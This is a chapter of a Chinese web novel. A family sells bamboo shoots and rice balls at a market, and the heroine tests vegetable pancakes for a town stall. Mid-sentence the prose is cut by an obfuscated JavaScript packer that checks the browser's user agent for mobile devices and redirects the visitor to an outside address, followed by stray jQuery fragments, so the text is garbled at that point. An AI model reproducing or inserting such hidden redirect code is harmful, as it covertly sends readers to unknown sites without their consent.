从镇上回去的路，显得尤为漫长。


    去的时候走了半个多时辰，虽然不近，但走得顺畅，人也很兴奋。回来时，原本只装了干粮的背篓添了新的东西，姐妹俩走走停停，都有点吃不消。


    墩子倒是卖完货，担子空了，一身轻松。


    他看她们俩走得艰难，想帮忙背背篓，偏偏背篓太小，他身板子壮实，根本挤不进去背带，也不能同时背两个，于是把扁担上的麻绳取下来，把背篓缠好系在扁担的两端，挑起来走，步伐依旧稳当。


    “好墩子，回去请你吃鸡蛋羹。”万秋灵赞叹，墩子就算改行做挑夫也是完全够格的。


    “不用不用，这东西才多重。我哪好意思天天蹭吃蹭喝的。”


    墩子想了想问道：“秋灵姐，你明天是不是又要去岔路口赶集，还卖笋片吗？”


    “对，还卖炒笋片和野菜饭团。”村集市有一批石头那样的稳定顾客，靠旧两样还能再攒点本钱，才好走下一步。


    “那，那明天我想买一点笋片。”他有点不好意思，挠挠头解释，“我家里面也炒笋子，没人爱吃，但是秋灵姐你做的笋片，连我大嫂都夸，说能多吃大半碗饭。我今天赚的钱大部分要交给娘，但我能留一点，想出钱买笋片尝尝。”


    其实他尝过腊肠焖饭和鸡蛋烧豆腐之后，对笋片也没那么忘不了，可是腊肠贵，家里只有逢年过节才能偶尔吃上，放平常不敢想，秋灵姐也不做这些菜卖。


    有笋片吃就很好了，大哥也提过一嘴可以买，到时候娘念叨起来，还有大哥替他说说话。


    万秋灵见他挑着担子健步如飞，心里一动：“这样吧，你要是明天早上得空，就帮我们个忙，把要卖的货送到岔路口去。依旧是帮了忙送笋片，像上次竹签子那样，如何？”


    要是能让墩子帮忙送一趟，杜氏能歇着，她和万小兰也减减负。她们背起来吃力的竹篓，墩子挑了两个仍然轻轻松松，对他来说应该不算什么难事，可以多给他炒一些笋子当做运费。


    果然，墩子毫不犹豫就答应了。


    “没问题，我有空！地里的活我爹和大哥理得顺当，还有我娘搭把手，用不上我。我编篮子也就是闲得没事弄弄，空暇多，明天一早我就过来。”


    他答应得爽快，既能帮秋灵姐，又能省下钱，吃到好吃的笋片。“对了，竹签子你们用完了吗？要不我再削点。”


    “签子还有不少呢。”万小兰抢答，“墩子哥，要不你帮我削一个竹蜻蜓吧？我在镇上看见了，没有买。你削的肯定比摊子还要好！”


    “行，这个我会，栓子和翠花也爱玩哩，给你们一人做一个。”墩子又拓展了新的业务，还不忘一碗水端平。


    好不容易捱到家，万秋灵几乎是瘫在了椅子上，一动也不想动，只剩眼睛时不时眨巴一下证明她还活着。


    万小兰有样学样，搬了把椅子排排坐，还要半搂着万秋灵的一条胳膊。


    万老爹挪出来，见女儿们平平安安，就是一个个跟霜打了的茄子似的，虽然他拄着拐，但不妨碍他发出无情的嘲讽：


    “小孩子家家，缺乏锻炼。”


    杜氏回来时看到她们这模样，又心疼又好笑，赶紧去做了饭。


    等到了第二天，万秋灵在浑身酸痛的状态中醒来，两条腿仿佛灌了铅似的。这熟悉的感觉……回到了大学体测跑完八百米之后的几天，肌肉酸胀不适，走路要扶着墙，下楼梯要扶着栏杆。


    她挣扎着坐起来，用手一点一点将双腿挪到炕沿，动作慢得就像是一只笨拙爬行的乌龟。


    脑海里有声音叫嚣着：好想躺回去，好想旷工一天！


    当她终于费劲巴拉地出了房门，看到正在打哈欠的万小兰，虽揉着眼睛有些困倦，行动间却十分利索。


    转头一看堂屋坐着的墩子，他精神抖擞地帮杜氏包野菜饭团，脸上满是淳朴的笑，往竹筐里装东西时，一会儿站起一会儿坐下，跟没事人一样。


    他们走的是同一段路吧？这两个人咋一点后遗症都没有，墩子就算了，怎么连小妹都比她强！


    “小兰，你的腿不酸吗？”万秋灵扶着门框，难以置信地问。


    “有点酸，但是还好啊。阿姐，你怎么了？脸色有点差，是不是累到了？”她走过来，想扶着姐姐。


    “不，我没事，我一点都不累。”万秋灵语气坚定，避开她伸过来的手。


    “哦哦，那我先去帮忙。”


    万小兰没多想，她无条件相信阿姐的话，阿姐说了没事那就是没事。


    “灵儿，你起来了？野菜糙米我提前蒸熟了，马上包好。兰儿，你去生火，等你阿姐炒笋片。”


    杜氏把一切安排到位，又笑着看向墩子：“辛苦你这孩子了，等灵儿炒好后，我一会儿把你的那份笋片放在锅里温着，等你回来端走还是热的。”


    “要得，谢谢杜婶子！”墩子笑得更开心了。


    有了墩子这个主力，几人脚程也加快不少。他背着一个大竹筐，手上提着装了瓦罐的包袱，万秋灵和万小兰只需要跟在后头走就行。


    万秋灵腿上像坠着沙包，无比庆幸找到了小伙伴帮忙。她咬牙跟上他们的速度，走着走着倒是适应不少。


    摆好摊，万秋灵先去屠户那里抢猪骨，屠户也刚开摊，痛痛快快替她剁了包好。


    顺利在集市卖完东西，万秋灵能量耗尽，骨头交给了杜氏去炖，她恹恹地躺炕上，休息了好一阵子才缓过来。


    身体在休养，脑子却没空闲，规划着下一步。想要到镇上开拓市场，光靠三天一次的村集市速度还是太慢，而且糙米团子利润低，量大了就重，单靠人力运到镇上太麻烦。


    万秋灵盯着房梁发呆，卖个什么小吃好呢？


    首先得轻巧，背起来轻松，最好不用带那么多有汤水或者易碎的罐子，炒笋片就不适合。其次，原材料要简单便宜，成本尽可能压低，备货方便。最后，味道要能打，才有竞争力。


    三点中最重要的还是成本，卖的出去最好，失败了也能承担得起。


    她想到了蔬菜饼，春分时节，家家菜圃里的蔬菜都疯长，菜地里青油油一片，市场上的菜摊子越来越多，价格实惠。


    面粉已经从镇上买好，基础的调料也备着了，山里河里还能扒拉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303469|197954||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一些新鲜的野货作为补充。


    蔬菜饼比干烙的、发酵的面饼子重，比野菜饭团轻，一叠叠摞起来装，比瓦罐更好携带。万秋灵觉得完全可以尝试，定价也比村集市高一点，符合镇上的水平，也不枉费她跑那么远。


    要是筐里沉重的货物变成更沉重的铜钱，那她是很乐意扛着走的。


    说干就干，身上松快了些，万秋灵就开始新品试做。


    菜圃里生机勃勃的青菜，山里野生的荠菜，都准备了一些。


    洗干净的蔬菜需要切丝，万秋灵找来杜氏帮忙，她切厚点的片和切块还可以，切丝完全是技术盲区。擦丝工具用习惯了，擦出来大小相同，效率也高，离开擦丝器，万秋灵只能切出粗细不匀的条状甚至块状物。


    等蔬菜切成细丝，先用手攥一攥，挤压出多余的水分，然后调味。加入适当的盐，一点酱油增味，一小撮虾粉提鲜，搅拌均匀。


    家里没有面引子，做不了蓬松发酵的面食，但实面饼也能做得好吃。


    白面加水成糊状，将蔬菜丝混合，用木勺挖取定量面糊倒入锅中，摊成巴掌大小的圆饼，煎到两面金黄就完成了。


    随着滋滋油响，混合着面食的麦香、猪油醇香和蔬菜清香的气息从灶屋飘到了堂屋。


    万秋灵摊了几个就收手，切成四分块，先尝尝味道。


    万老爹正喝着炖好的猪骨汤。


    杜氏只放了一点点盐和葱花，口味很清淡，骨头没焯水撇掉浮沫，有一股腥味，万小兰喝了两口就不要了，杜氏说万老爹是病人，让他多喝。


    他摇摇头，大女儿也让他多啃点骨头，说什么以形补形。也就骨头上带着些肉筋能嗦两口，还能把骨头嚼碎了咽下去不成？


    但毕竟是女儿孝敬的，万老爹也不好多问，多喝几口骨头汤确实是补的。


    这会儿等着灶屋的动静，鼻子嗅了嗅：“捣鼓的啥呢？闻着还挺香。”


    万老爹看见端出来的是一盘死面饼子，瞬间失了兴趣，跟烙馍一样噎挺，放油都算白费。


    这么想着，手上却已经诚实地拿起了一块。


    咬下一口，这饼子的表面不是硬，而是焦。里面是柔软的面，还有清甜的菜丝，嚼着毫不费劲，越嚼越有回甘，完全不是想象中干硬的死面饼。


    万老爹下意识把手指头上粘的油都舔了舔，假装若无其事拿起猪骨头啃。


    “咳咳……还行，这白面做的东西果然是香。”


    杜氏一向是捧场的，只夸好吃，当饭当零嘴都行。万小兰在做饼的时候就偷尝不少，只顾着吃。


    万秋灵坐下尝了尝，口感还行，调味稍微有些淡。


    “这个算是基础版，如果面糊里再敲几个鸡蛋，面饼会更蓬松柔软。等有条件了，用发酵好的面做皮，包上更丰富的馅料，做成馅饼、烤饼，又是新的风味，不过那是另外的价钱了。”


    “更丰富的馅料？”万小兰眼睛冒光。


    “比如加上肉混着，做半肉馅，也可以做纯肉馅的。”


    万小兰吃着饼，又听姐姐画着饼，心情美得很，加蛋加肉，咱家也是好起来了！